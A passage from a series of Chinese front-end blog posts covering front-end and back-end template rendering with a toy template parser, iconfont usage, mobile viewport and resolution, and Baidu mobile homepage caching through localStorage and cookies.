<p>这种方式虽然首屏较快,但是,还是有优化空间的。</p>
<h3>2.4 混合方式</h3>
<p>看过了上述两种方式,聪明的你肯定会想:如果前端的js里写一份模板,后端的html(jsp/asp/smarty)中也写一份模板呢?这样,同步的时候,直接用后端HTML(jsp/asp/smarty)中的模板。异步拉取数据的时候,每次使用js中的模板进行拼装 。同步也能保证首屏的速度,异步也能保证传输量的限制与速度。可是这样,也会面临问题,那就是,你的模板需要维护两份。如果那天产品和你说,我要改一下页面的结构。你不得不改动HTML的时候。js中与jsp/asp/smarty中的模板都需要同样的更改两次。</p>
<h3>2.5 前端的模板引擎</h3>
<p>如果说,后端可以将html的拼装转变为使用引擎的话,前端为什么不可以呢?这里我先给大家写一个非常简单的模板解析函数,效果如图2.5.1</p>
<pre><code><!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
</head>
<body>
<div id="content1"></div>
<div id="content2"></div>
<script>
// 这是我们的模板,怎么样,比直接写html字符串拼装看起来清爽多了吧?抱歉,markdown不能并列吧+号写在前面,所以我就写在了后面
var template = ''
+'<div>'+
'{%=a%}'+
'{%if (a===1){%}'+
'<span>'+
'a是1'+
'</span>'+
'{%}%}'+
'</div>';
// 能解析输出与if条件语句的函数
function TEMPLATEparser(template, variables) {
// 语法替换
var funcStr = template
.replace(/\{\%\=(\w+)\%\}/, function (code, variable) {
return '"; str += "' + variable + '"; str += "';
})
.replace(/\{\%(if.*?)\%\}(.*?)\{\%(\})\%\}/, function (code, judge, content, end) {
return '";' + judge + 'str+="' + content + '";' + end + 'str += "';
});
// 返回拼装函数
return new Function(variables, 'var str = ""; str += "' + funcStr + '";return str;');
}
// 实验使用模板引擎去解析并传入变量生成模板
var outHTML = TEMPLATEparser(template, ['a'])(1);
document.getElementById('content1').innerHTML = outHTML;
outHTML = TEMPLATEparser(template, ['a'])(2);
document.getElementById('content2').innerHTML = outHTML;
</script>
</body>
</html>
</code></pre>
<p><img src="/img/bVyZh3" alt="184530_Qv1G_1177792.png" title="184530_Qv1G_1177792.png"><br>图2.5.1</p>
<p>这样就制作了一个简单的前端模板,有兴趣的读着可以看看我写的smartyMonkey前端模板引擎:</p>
<p><a href="https://link.segmentfault.com/?enc=dG7A%2BdrZKwEXyzuXVFKg7Q%3D%3D.pq9VSXOyRPy2p7HEwpHHonPyQOCHa0HB9%2FJ703RQiMifgDF%2B8CP3dpmnbbt1OkLv" rel="nofollow">https://github.com/houyu01/sm...</a></p>
<h3>2.6 前后端同构</h3>
<p>刚刚说过了前端模板,后端模板,前端与后端都需要模板引擎。比如,我们的在后端的模板是这样写的:</p>
<pre><code>// 接下来是伪代码
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
</head>
<body>
// 前端需要模板去渲染
<textarea id="temp">include('./template.html')</textarea>
<div id="content1">
// 后端渲染模板
include('./template.html');
</div>
<div id="content2"></div>
<script>
// 这是我们的模板,怎么样,比直接写html字符串拼装看起来清爽多了吧?
var template = document.getElementById('temp').value;
// 能解析输出与if条件语句的函数
function TEMPLATEparser(template, variables) {
// 语法替换
var funcStr = template
.replace(/\{\%\=(\w+)\%\}/, function (code, variable) {
return '"; str += "' + variable + '"; str += "';
})
.replace(/\{\%(if.*?)\%\}(.*?)\{\%(\})\%\}/, function (code, judge, content, end) {
return '";' + judge + 'str+="' + content + '";' + end + 'str += "';
});
// 返回拼装函数
return new Function(variables, 'var str = ""; str += "' + funcStr + '";return str;');
}
// 实验使用模板引擎去解析并传入变量生成模板
var outHTML = TEMPLATEparser(template, ['a'])(1);
document.getElementById('content1').innerHTML = outHTML;
outHTML = TEMPLATEparser(template, ['a'])(2);
document.getElementById('content2').innerHTML = outHTML;
</script>
</body>
</html>
============================
template.html
<div>
{%=a%}
{%if (a===1){%}
<span>
a是1
</span>
{%}%}
</div>
</code></pre>
<p>前端解析模板的引擎的语法,与后端j解析模板引擎语法一致。这样就达到了一份HTML前后端一起使用的效果。一改俱改,一板两用。其实这样也不算极致的完美,因为聪明的读者会发现,在页面加载的时候,我们多传了一份模板给到前端,如果用户不触发重新渲染的话,可能我们传到前端的模板就算白传了,造成了浪费。聪明的读者们可以考虑一下,如何把这份也给省下去。</p>
<h2>3 模板的更新</h2>
<p>有的时候,我们需要整片DOM进行更新,比如:</p>
<pre><code><div class="我需要被更新" data-att="我需要被更新">
<span>我需要被更新</span>
<div class="我需要被更新"></div>
</div>
</code></pre>
<p>这些html中的节点,需要在某次行为之后,一起被更新。那么我们的js可能会变成这样:</p>
<pre><code><script>
// 数据更新
$.ajax().done(function (data) {
$('#wrapper').class(data.xxx);
$('#wrapper').attr('data-attr', data.xxx);
$('#wrapper span').html(data.xxx);
$('#wrapper div').class(data.xxx);
});
</script>
</code></pre>
<p>这样的维护,成本极大,还不如直接把整个html重新刷新一遍。这就遇到了我们的js拼装模板了:</p>
<pre><code><script>
// 模板
var template = ''
+'<div class="{%=newclass%}" data-attr="{%=newattr%}">'+
'<span>{%=newcontent%}</span>'+
'<div class={%=newinnerclass%}></div>'+
'</div>';
// 数据更新
$.ajax().done(function (data) {
// 每次数据更新,直接把模板全刷一遍
$('#wrapper')[0].outerHTMl = TEMPLATEparser(template)(data);
});
</script>
</code></pre>
<p>但是,直接刷HTML的成本太高。这样浏览器不得不整颗html子树全部重新构建一下,这种方法的性能又不如上一种方法好。</p>
<p>好在react给了我们一种新的思路,它用最少的开销帮我们处理模板的更新,却又不用我们维护更新时繁琐的步骤。有兴趣的读者可以了解一下react-web的diff算法及其应用。</p>
<p><a href="https://segmentfault.com/a/1190000000606216">https://segmentfault.com/a/11...</a></p>
<h2>4 课后思考</h2>
<p>好了,关于前端常见的模板的拼装与更新,我们就讲到这里,同学们有没有考虑过,自己的项目中,如果有异步请求并渲染的逻辑的时候,采用前端拿数据拼装、前端拿拼装好的模板、混合使用哪种更好呢?</p>
<p>文中提及到的例子,均在github上可以找到:<a href="https://link.segmentfault.com/?enc=5%2BELdvkybxzYZQxye%2FSpdg%3D%3D.KuM6HZa4wosh4TtJx8VKInCbFNARHokB23XekHYc4tNJblStTglMMaCQyHaDvgWr" rel="nofollow">https://github.com/houyu01/te...</a></p>
<p>如果有想一起开发smartyMonkey的同学,请私信我,一起开发力量更大<del>~</del></p>
<p><strong>接下来的一篇文章,我将会和读者们一起聊聊前端存储那些事儿,不要走开,请关注我.....</strong><br><a href="https://segmentfault.com/a/1190000005927232">聊一聊前端存储那些事儿</a></p>
[聊一聊系列]聊一聊iconfont那些事儿
https://segmentfault.com/a/1190000005904616
2016-07-07T20:49:47+08:00
2016-07-07T20:49:47+08:00
侯医生
https://segmentfault.com/u/doctorhou
8
<p>欢迎大家收看聊一聊系列,这一套系列文章,可以帮助前端工程师们了解前端的方方面面(不仅仅是代码):<br><a href="https://segmentfault.com/blog/frontenddriver">https://segmentfault.com/blog/frontenddriver</a></p>
<h2>1. 从FONT-FACE说起</h2>
<p>要想了解iconfont,得从一个新的css3规则说起。css3中,新增了一种样式规则,@font-face,这个规则可以用来引入自定义的字体,到客户端。以前,我们的字体只能听任客户端的。因为用户没有安装的话,我们强制要求显示也没有办法。<br>现在使用@font-face则可以引入在web服务器上存放的字体文件,从而达到,可以使用一些客户端浏览器上不存在的字体,等到浏览器去访问并渲染时,去下载font-face指定的字体。并命名为我们想要的字体。如图1.1:</p>
<pre><code><!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8" />
<style>
@font-face {
font-family: myfont;
src: url('./myfont.otf');
}
.usefont {
font-family: myfont;
}
</style>
</head>
<body>
<h1 class="usefont">
测试1
</h1>
<h1>
测试2
</h1>
</body>
</html>
</code></pre>
<p><img src="/img/bVyWcV" alt="134559_SbuN_1177792.png" title="134559_SbuN_1177792.png"><br>图1.1</p>
<p>上面的自已个h1中使用的,正是我们存在服务端的字体。由于各个浏览器的兼容性问题,</p>
<p>1.IE浏览器:EOT<br>2.Mozilla浏览器:OTF,TTF<br>3.Safari浏览器:OTF,TTF,SVG<br>4.歌剧:OTF,TTF,SVG<br>5.Chrome浏览器:TTF,SVG</p>
<p>所以,我们需要准备多个格式的不同的字体文件。指代同一份字体。</p>
<pre><code>@font-face {
font-family: 'icons';
src: url(../font/curiconfont.eot#iefix) format('embedded-opentype'),
url(../font/curiconfont.woff) format('woff'),
url(../font/curiconfont.ttf) format('truetype'),
url(../font/curiconfont.svg?#iconfont) format('svg');
font-weight: normal;
font-style: normal;
}
</code></pre>
<p>后面的format指代的是墙面的资源是那种格式的。如想更详细了解,可以百度一下font-face。上面提到的例子可以在github上的hellofontface.html中找到。</p>
<h2>2 什么是iconfont</h2>
<p>既然font-face可以指定字体文件,那么字体长成什么样,不就是开发者说的算了么。我们可以描述一个字体,它长成这样:<img src="/img/bVyWdc" alt="clipboard.png" title="clipboard.png">。其实,话说回来,文字不就是图像么。人类最早发明文字的时候就是按照图像来发明的。所以,我们可以把一些字符,描述成图像。在我们的网页上,当成图像来使用。这就是iconfont了。把一些零散的icon做成字体。我们调用文字的时候,渲染出来的就是icon图像了。</p>
<h2>3 iconfont怎么用</h2>
<p>我们来拿手机百度首页的字体做个小例子试试(如图3.1),我们新加入一个font-face,起名为myFont,在需要使用这份iconfont的部分,font-family设置为myFont,则这部分区域可以使用上该font文件:</p>
<pre><code><!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8" />
<style>
@font-face {
font-family: myfont;
src: url('http://m.baidu.com/static/index/iconfont/iconfont_c0634602.woff');
}
.usefont {
font-family: myfont;
}
</style>
</head>
<body>
<h1 class="usefont">
&#xe609;
</h1>
<h1>
&#xe609;
</h1>
</body>
</html>
</code></pre>
<p><img src="/img/bVyWdg" alt="140105_VXcp_1177792.png" title="140105_VXcp_1177792.png"><br>图3.1<br>我们看到我们在网页上写了一个字符,本来这个字符对应的文字应该是什么都没有:<br><img src="/img/bVyWdq" alt="clipboard.png" title="clipboard.png">但是,我们的iconfont中赋予了这个字符的图像:<img src="/img/bVyWds" alt="140030_aPBx_1177792.png" title="140030_aPBx_1177792.png">,于是,我们将这个字符所在的区域的字体,设置为我们的iconfont文件。于是浏览器就渲染出了这个字符在我们的font文件中,对应的图像。这里要注意一下---- ,是一个字符的html编码。这个字符在浏览器中没有定义,但是在iconfont中有定义。我们可以使用unicode码来唯一标识一个字符,将这个字符在我们的文件中画出来。这样就可以利用上iconfont了。</p>
<h2>4 iconfont怎么做?</h2>
<p>既然知道了怎么用,就要开始了解一下,如何制作一个iconfont了。国内有阿里巴巴的iconfont平台,可以选自己喜欢的图标导出iconfont。</p>
<p><a href="https://link.segmentfault.com/?enc=4Tc78n2fSiyjEIa0I2q0sg%3D%3D.Qm5CS3QPZaqO3YRran2nm1Zhptzl0wcx1ERDGrW4Ogs%3D" rel="nofollow">http://www.iconfont.cn/</a></p>
<p>如果我们手里有一些图标,想转换为iconfont的话,可以直接使在线工具转换:</p>
<p><a href="https://link.segmentfault.com/?enc=fCgNyBVjVU9o%2F2fMPSN6Og%3D%3D.p3obWsQpy6IT5mSwjTi1TP9PsqH9h6%2B9POeHh2DGoi7pV1A4T5O1twPSpHSIn625" rel="nofollow">http://image.online-convert.com/convert-to-svg</a></p>
<p>设计师们也可以使用illustrator直接将图片导出为svg,具体导出方式可以参考如下链接:</p>
<p><a href="https://link.segmentfault.com/?enc=ARgweXFOM8h7zgj7IPDBbQ%3D%3D.J5kI%2BfptugFlIOafshYffLBM%2FTpXcVmz3yIP4xTd47ABxzxZaYwStUYhXq0UOOiUb%2FmLt0aiUEn9DolBRNp5ZutiBhIG9%2BPpxlKt%2B60G1GU%3D" rel="nofollow">http://www.w3cplus.com/svg/svg-files-from-illustrator-to-the-web.html</a></p>
<p>导出单个icon的svg后,可以上传至阿里巴巴的iconfont平台,与其他图标拼合成一张字体文件。(后续会更新一个我们自产的iconfont生成框架)</p>
<h2>5 iconfont的利与弊</h2>
<p>看到这里,一些同学肯定会问,那我们为什么要用iconfont呢?直接用图片不就好了。</p>
<p>这里我们分析一下使用iconfont的利与弊</p>
<h3>5.1 iconfont的利</h3>
<h4>5.1.1 iconfont图像放大后,不会失真。</h4>
<p>相信读者们没有见过文字在网页上放大的时候会失真的状况吧,因为字体是矢量的,字体的描绘只记录绘制的路径。而图片不是,我们如果把一张小图放大若干倍之后,会发现图像变得模糊了。因为图像是基于像素点的描述,放大后,之前图像的一个像素,被放大为多个像素。自然是会失真的</p>
<h4>5.1.2 iconfont节省流量</h4>
<p>在图片清晰度要求越高的情况下,我们的图片本身就会越大。这样非常耗费资源,而且,图像需要的色彩值信息,也会存储。这样也极大的浪费了空间。iconfont颜色由css决定,尺寸要求变大的话,则适应性的变大。传输的大小不会变大。</p>
<h4>5.1.3 iconfont在颜色变幻方面很简单</h4>
<p>试想,如果一个图标一开始是黑色的hover上去的时候变为蓝色的话,如果这个icon是用图片来实现的话,我们需要在hover的时候,更换背景图片,如果使用iconfont的话,则可以直接替换icon的color就行。</p>
<h3>5.2 iconfont的弊</h3>
<h4>5.2.1 iconfont不能支持一个图像里面混入多重颜色</h4>
<p>作为文字,是不会出现左边是红色右边是绿色的状况的。一个文字,是一个整体,统一的颜色。这个颜色就取决于css的color了。所以使用iconfont做图标的话,最好使用纯色的图标。</p>
<h4>5.2.2 iconfont的使用没有使用图片那么直接,简单。</h4>
<p>如果单论直接使用的话,图片还是比较便捷的。</p>
<p>至于自己的网站要不要使用iconfont就看各位了。</p>
<p>本章的例子在github上,需要的同学请自行查看:</p>
<p><a href="https://link.segmentfault.com/?enc=B3Tp8bmLV4iiWg1kbfS0Ow%3D%3D.c6XRSvoUC9Liocbllr9vuz5TUMr1ZV5OWXiAaVAeJcRXMFrAHdFiIK2%2B6uMKRRXp" rel="nofollow">https://github.com/houyu01/iconfontsample</a></p>
<p><strong>接下来的一篇文章,我将会和读者们一起聊聊前端模板拼装与渲染的那些事儿,不要走开,请关注我.....</strong><br><a href="https://segmentfault.com/a/1190000005916423">前端模板拼装与渲染的那些事儿</a><br>原创文章,版权所有,转载请注明出处</p>
[聊一聊系列]聊一聊移动web分辨率的那些事儿
https://segmentfault.com/a/1190000005884985
2016-07-06T08:48:59+08:00
2016-07-06T08:48:59+08:00
侯医生
https://segmentfault.com/u/doctorhou
14
<p>欢迎大家收看聊一聊系列,这一套系列文章,可以帮助前端工程师们了解前端的方方面面(不仅仅是代码):</p>
<p><a href="https://segmentfault.com/blog/frontenddriver">https://segmentfault.com/blog/frontenddriver</a></p>
<p>不同于PC时代,移动web的样式更加多样,也由于手机分辨率的碎片化,移动web的兼容问题日益突出,下面,我就和各位读者一起聊聊移动web所面临的手机分辨率问题。</p>
<h2>1 PC到移动,渲染的变迁</h2>
<p>在PC时代,我们书写CSS的时候,理所应当的认为,我们所书写的1px,在屏幕上就是1px的宽度。<br>但是到了移动端,事情就不是这样了,我们所书写的1px,其实到了屏幕上,可能是2px,可能是3px。甚至是你想多少px就多少px。这是为什么呢?让我们来说一个故<del>~事</del>~~~<br>苹果发布ios的时候,肯定会想到成千上万的PC网页,没法在自己的IOS系统上运行起来时间多么蛋疼的事情啊。但是呢,这些网页都是按照PC屏幕的大小写的呀。<br>动不动就出现两个500多px的宽的div并列。这在当时640*960屏幕大小的iphone4上显示的话,简直是毁灭性的。(会各种折行,样式错乱),那么细致如苹果肯定不允许这种事情发生。<br>于是苹果公司的攻城狮们想出了一个歪招,那就是告诉浏览器,“你在一个980宽的大屏幕下在渲染呢”,<strong>浏览器就按照了980宽的方式,渲染出来页面图像。</strong>可是到了浏览器这边,其实是拿到了一张渲染好的、比屏幕大的网页图像。<strong>此时,苹果再把这张图像,缩放一下,缩为屏幕大小。</strong>(我们平时也经常这样干,把一张大图片用双指放大缩小)</p>
<p>在手机上观察segmentfault的电脑版,正式这样的(如图1.1)</p>
<p><img src="/img/bVyQ5O" alt="clipboard.png" title="clipboard.png"></p>
<p>图1.1</p>
<h2>2 可以更改的布局宽度</h2>
<p>上面所说的浏览器就按照了980宽的方式,渲染出来页面图像。<strong>浏览器的渲染依据,我们就称为layout viewport。其实我们可以指定欺骗浏览器的宽度是多少。</strong></p>
<p>比如,我们默认的viewport宽度是980px,我们写了一个宽度为480的div,显示在网页上的时候,是这样(如图1.2.1所示): </p>
<pre><code><html>
<head>
<meta charset="utf-8" />
</head>
<body>
<h1 style="width:480px;background-color:#000;color:#fff;">测试</h1>
</body>
</html>
</code></pre>
<p><img src="/img/bVyQ5Z" alt="144352_qgFx_1177792.png" title="144352_qgFx_1177792.png"><br>图1.2.1</p>
<p>如果我们书写viewport标签,让其布局的时候,告诉浏览器,自己是一个宽度为480的小屏幕,又会怎样呢?(如图1.2.2所示)</p>
<pre><code><html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=480" />
</head>
<body>
<h1 style="width:480px;background-color:#000;color:#fff;">测试</h1>
</body>
</html>
</code></pre>
<p><img src="/img/bVyQ56" alt="144535_FG3W_1177792.png" title="144535_FG3W_1177792.png"><br>图1.2.2</p>
<p>此时,浏览器就真的按照宽度为480的样子去渲染了。这就是viewport的魅力。这个viewpor的宽度是任我们更改的,究竟更改到多少才算合适呢?</p>
<p>大多数网站采取的方式是</p>
<p>width=device-width,就是别忽悠浏览器了,像PC上一样,手机屏幕多宽,浏览器就照着多宽去渲染吧。</p>
<p>这是一个比较好的方案,因为这下子,不会再有什么缩放问题了。设计就是按照手机去设计,显示也按照手机去显示,好看了很多(如图1.2.3)。</p>
<pre><code><html>
<head>
<meta charset="utf-8" />
<style>
body {
padding: 0;
margin: 0;
}
</style>
<meta name="viewport" content="width=device-width" />
</head>
<body>
<h1 style="width:320px;background-color:#000;color:#fff;">测试</h1>
</body>
</html></code></pre>
<p><img src="/img/bVyQ57" alt="150516_YjEj_1177792.png" title="150516_YjEj_1177792.png"><br>图1.2.3</p>
<h2>3. 再次变迁的像素</h2>
<p>时代是在变迁的,iphone也不例外,iphone3的像素为320<em>480,然而到了iphone4,虽然屏幕不曾变大,但是像素密度大大增加,变为了640</em>960,总不能把之前设计的网页都缩小一倍显示吧?所以苹果公司的老司机们就又开车了。</p>
<p>iphone4对浏览器说,“我的宽度是320px”,其实iphone4是640px。我们按照320px的设计得以渲染,而到了真实的世界中,我们写的1px的元素,其实是化为2px渲染到用户面前的。有的同学可能会说,这不是把之前的网页变大了吗?</p>
<p>nonono,别忘了,手机的大小并没有变,只不过是物理世界上的1英寸,上面的像素点数更多了。以前1px的屏幕像素点,展现在人眼面前是1/96英寸,像素密度变为两倍后,一个像素的宽度是1/96<em>2英寸。那么两个像素就是2</em>1/(96*2)=1/96英寸。物理世界上的宽度又变回来了。</p>
<p>换句话说,虽然像素变大了,但是10px的图片在iphone3与iphone4上看起来是一样大的。</p>
<p>在这里,我们已经学会了两个知识点:</p>
<p><strong>1. 320px的逻辑分辨率,对于我们来说,无论是iphone3gs还是iPhone4,我们都照着320px去写代码就好了,这是我们的逻辑。</strong></p>
<p><strong>2. 320px/640px的物理分辨率,对于苹果手机来说,iphone3gs,他就真的按照320px去显示,640px的iPhone4,它就将我们写的逻辑分辨率乘以2再显示。这就是为什么iphone4上面物理分辨率是逻辑分辨率的两倍的缘故了。UE给你的图,你除以2去写代码就好了。</strong></p>
<h2>4. 又一次变迁</h2>
<p>苹果公司在2014年,推出了新一代的iphone6/iphone6 plus,他们的屏幕都比iphone4要宽、要大。所以,再维持原来的320宽度方法,显然不行了。所以,苹果公司按照手机尺寸的比例,上调了分辨率:</p>
<h3>4.1 iphone6的普通扩大</h3>
<p>我们看到上图,iphone6的宽为750px,iphone4的宽为640px(物理分辨率),比例应该是:750/640<br>iphone6的逻辑分辨率的宽是375px,iphone4的逻辑分辨率的宽为320px,比例是:375/320。<br>750/640 == 375/320,所以,苹果公司只是把手机普普通通的扩大了一点而已。顺便把逻辑分辨率也扩大了。并不影响我们的书写。</p>
<h3>4.2 iphone6 plus的扩大高清度</h3>
<p>这次升级,最蛋疼的点就是iphone6 plus了,苹果公司希望更高清的屏幕,于是他们再一次施展大法,一块5.5英寸的屏幕上,竟然容得下宽度1080的像素点数量。</p>
<p>但是,苹果的老司机们又犯难了,该如何“欺骗浏览器”呢?这次是朝着3倍的方向压缩的。即1个逻辑像素对应3个物理像素。<strong>但是,事实根本不是这样,他们只在与iphone4同样宽度的屏幕上,渲染出2.6个像素点,iphone4渲染出2个,iphone3gs渲染出1个。</strong></p>
<p>所以,按照我们之前的理论,是不是逻辑像素就应该是1080/2.6呢。的确是的,1080/2.6~=414px,所以,我们的逻辑分辨率就被定格在了414*736。</p>
<p>但是!2.6这个比例太蛋疼了,苹果是真心想让我们相信它家的屏幕好呀,于是苹果公司再一次施展欺骗大法,它让我们认为,他的屏幕是1242<em>2208的超级高清屏幕。于是,好像是在与iphone3同样的1px的屏幕尺寸里面,塞下了3个像素点。于是我们用1242除以3,还是得到了我们的逻辑分辨率:414px。而且,UE(设计师)们出一张1242的图片,工程师们将其除以3,远比UE们出一张1080px的图片,工程师将其除以2.6要爽得多。试想一下,除以2.6好算还是除以3好算?但是,iphone6s plus,实际的渲染是1080px,咋整?缩放呗,于是被浏览器渲染好的1242</em>2208的图像,被iphone6s plus给缩放成了1080*1920(就好像我们用手指头缩放过的图片一样)</p>
<p>这个3倍还是2倍的比例,前端可以从浏览器中获取:window.devicePixelRatio</p>
<p>结论就是,iphone6s plus,我们可以认为,它的物理分辨率是逻辑分辨率的三倍就好了,UE给你的图,你除以3去写代码就好了。</p>
<p>几代iphone手机的分辨率如图4.2.1所示:</p>
<p><img src="/img/bVyQ6j" alt="163411_egL3_1177792.png" title="163411_egL3_1177792.png"></p>
<p>图4.2.1</p>
<p>根据上述,我们的出结论,虽然一样的逻辑像素,在iphone6上面和在iphone6 plus上面也是不一致的,因为iphone6 plus会对其渲染后的图像进行缩放。</p>
<h4>iphone6下</h4>
<p>1px的逻辑像素 === 2px的真的物理像素 === 2px *63.5px/326ppi === (1/64)cm</p>
<h4>然后是iphone6 plus:(注意,这里面的ppi使用1080的真实物理尺寸算的)</h4>
<p>1px的逻辑像素 === 3px的,我们以为是3px的物理像素 === 3<em>1080/1242 的真的物理像素 === 2.6px </em>63.5px/401ppi ===(2.6/157)cm</p>
<p>这样看来,在iphone6s plus 和iphone6 plus下,在真实世界的显示上面,尺寸会比iphone6/iphone5等,大1.15倍左右,经测量(拿尺子量的),的确是有这样的倍数关系。</p>
<h2>5 是时候说说安卓了</h2>
<p>苹果的变迁史我们说完了,是时候说说更乱的安卓了。其实,了解完了苹果的机制,安卓的也并不难理解,这些零散的安卓设备,他们也都采用了物理像素是逻辑像素N倍的设计方法,当然,这个N是多少,就要看安卓的制造厂商了。总之,我们在安卓上的代码,也是按照逻辑像素渲染的。</p>
<h2>6 课后问题</h2>
<p>聪明的你,知道如何描述什么是逻辑分辨率,什么是物理分辨率了吗?</p>
<p><strong>接下来的一篇文章,我将会和读者们一起聊聊iconfont那些事儿,不要走开,请关注我.....</strong></p>
<p><a href="https://segmentfault.com/a/1190000005904616">https://segmentfault.com/a/1190000005904616</a></p>
<p>原创文章,版权所有,转载请注明出处</p>
[聊一聊系列]聊一聊百度移动端首页前端速度那些事儿
https://segmentfault.com/a/1190000005882953
2016-07-05T21:22:36+08:00
2016-07-05T21:22:36+08:00
侯医生
https://segmentfault.com/u/doctorhou
30
<p>欢迎大家收看聊一聊系列,这一套系列文章,可以帮助前端工程师们了解前端的方方面面(不仅仅是代码):<a href="https://segmentfault.com/blog/frontenddriver">https://segmentfault.com/blog/frontenddriver</a></p>
<p>这一期,咱们一起聊一聊----百度移动端首页前端速度的那些事儿</p>
<h2>1 长什么样?</h2>
<p>我们的业务就是 <a href="https://link.segmentfault.com/?enc=vJvEpgd5rsqPMQUPht0AvA%3D%3D.Q5KBOhZCXkzxEqX3dX%2BNSoS881DhzrTC8WbDOXH0Vjk%3D" rel="nofollow">https://m.baidu.com</a><br>别以为只有一个搜索框,我们还有下面丰富的卡片内容,可以提供各式各样的服务。如图1.1<br><img src="/img/bVyQon" alt="clipboard.png" title="clipboard.png"><br>图1.1<br>其实整个页面的逻辑相对是比较复杂的。<br>还有各式各样的卡片,轻轻下拉,即可看到,如图1.2<br><img src="/img/bVyQos" alt="clipboard.png" title="clipboard.png"><br>图1.2</p>
<h2>2 面临的挑战</h2>
<p>可能代码的量级没有很多webapp恐怖,可是“百度首页要秒开”却是一个共识,可以看到(如图2.1),在利用上了缓存的情况下,我们的首页包大小gzip后只有11.1k左右。耗时也就是500多毫秒。大部分用户“秒开”不是事儿。<br><img src="/img/bVyQoz" alt="clipboard.png" title="clipboard.png"><br>图2.1</p>
<p>但是,我们的业务在不断的增长的同时,要维持这样的包大小,就是一门艺术了。<br>要快,但是我们的服务也必须万无一失,(后续我会分享百度移动端首页的前端架构设计)那么这样的优化,是如何做到的呢,又如何兼顾稳定性,架构性,与速度呢?别急,让我们把这些优化一一道来。</p>
<h2>3 我们的业务与我们的优化</h2>
<h3>3.1 静态文件在哪里?</h3>
<p>为了求快,首页是没有js和css外链的,这样会再发起多次请求,相信对于各位前端小能手来说,也是老生常谈的前端优化了。所以,整个首页渲染出来,只需要一次请求(除了iconfont)。其他的首屏所需要的js与css,全部在上线前,编译时,编译内联至HTML中,如图3.1.1。</p>
<p><img src="/img/bVyQrt" alt="clipboard.png" title="clipboard.png"><br>图3.1.1</p>
<h3>3.2 缓存!缓存!</h3>
<p>然而,首页并不满足于此,首页的很多样式和脚本,需要在同步的时候就初始化,但是,如果每次都传输一些不变的静态文件或者html,实在是太浪费了,如果html/css/js一直不变,那直接缓存到客户端不就好了。<br>于是首页的第二项优化,就展示了威力,localstorage,关于这个客户端存储,陌生的同学可以查一查。也可以直接阅读我接下来要写的聊一聊系列文章。<br>我们把不变的js/css/html全部存储到localstorage中去,下次加载首页的时候。在特定的位置,不必再从服务端把特定位置的js/css/html传过来。只需要传一句话----"<script>readlocalstorage();</script>"就行。<br>至于存储的方法,例子如下:</p>
<pre><code><!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8"/>
</head>
<body>
<div data-local="test1">
这部分内容非常多将会缓存起来
这部分内容非常多将会缓存起来
这部分内容非常多将会缓存起来
这部分内容非常多将会缓存起来
这部分内容非常多将会缓存起来
这部分内容非常多将会缓存起来
这部分内容非常多将会缓存起来
这部分内容非常多将会缓存起来
这部分内容非常多将会缓存起来
这部分内容非常多将会缓存起来
这部分内容非常多将会缓存起来
这部分内容非常多将会缓存起来
这部分内容非常多将会缓存起来
这部分内容非常多将会缓存起来
这部分内容非常多将会缓存起来
这部分内容非常多将会缓存起来
这部分内容非常多将会缓存起来
这部分内容非常多将会缓存起来
这部分内容非常多将会缓存起来
这部分内容非常多将会缓存起来
这部分内容非常多将会缓存起来
</div>
<script>
function cacheOne(attrid) {
var content = document.querySelector('[data-local="' + attrid + '"]').outerHTML;
localStorage.setItem(attrid, content);
}
cacheOne('test1');
</script>
</body>
</html></code></pre>
<p>我们将html的内容存储到了localstorage中,如图3.2.1</p>
<p><img src="/img/bVyQuH" alt="clipboard.png" title="clipboard.png"><br>图3.2.1<br>下次,再访问的时候,我们使用服务端把缓存起来的html不传送,而是只传送读取相关的js,如图3.2.2</p>
<pre><code><!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8"/>
</head>
<body>
<script type="text/javascript" data-local="test1">
function readOne(attrid) {
var content = localStorage.getItem(attrid);
document.querySelector('[data-local="' + attrid + '"]').outerHTML = content;
}
readOne('test1');
</script>
</body>
</html>
</code></pre>
<p><img src="/img/bVyQuG" alt="clipboard.png" title="clipboard.png"></p>
<p>图3.2.2<br>我们看到,虽然展示内容相同,但是第二次传输的时候,页面的量明显减小。而且使用这种方式我们使用的地方越多,这种优势就越明显。</p>
<p>百度移动端首页的很多css/html/js就是这样缓存在客户端的。</p>
<p>有同学会说,那么如何知道什么时候该传读local,什么时候该传写local呢?<br>很简单,我们在写入local的时候,同时在cookie中种下当前所有要缓存的内容的版本(MD5戳)就行。<br>因为cookie是会在同步访问的时候,传送到服务端的,而local不会,所以,我们在服务端决定要传送内容,还是传送读取local代码。就靠我们种下的cookie了。我们在这里,使用php来做一个实验:</p>
<pre><code><!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8"/>
</head>
<body>
<?php $curversion='1'?>
<?php if ($_COOKIE['localversion'] !== $curversion) {?>
<div data-local="test1">
这部分内容非常多将会缓存起来
这部分内容非常多将会缓存起来
这部分内容非常多将会缓存起来
这部分内容非常多将会缓存起来
这部分内容非常多将会缓存起来
这部分内容非常多将会缓存起来
这部分内容非常多将会缓存起来
这部分内容非常多将会缓存起来
这部分内容非常多将会缓存起来
这部分内容非常多将会缓存起来
这部分内容非常多将会缓存起来
这部分内容非常多将会缓存起来
这部分内容非常多将会缓存起来
这部分内容非常多将会缓存起来
这部分内容非常多将会缓存起来
这部分内容非常多将会缓存起来
这部分内容非常多将会缓存起来
这部分内容非常多将会缓存起来
这部分内容非常多将会缓存起来
这部分内容非常多将会缓存起来
这部分内容非常多将会缓存起来
</div>
<script>
function cacheOne(attrid) {
var content = document.querySelector('[data-local="' + attrid +'"]').outerHTML
;
localStorage.setItem(attrid, content);
}
cacheOne('test1');
document.cookie="localversion=<?php echo $curversion?>;";
</script>
<?php } else {?>
<script type="text/javascript" data-local="test1">
function readOne(attrid) {
var content = localStorage.getItem(attrid);
document.querySelector('[data-local="' + attrid + '"]').outerHTML = content
;
}
readOne('test1');
</script>
<?php }?>
</body>
</html>
</code></pre>
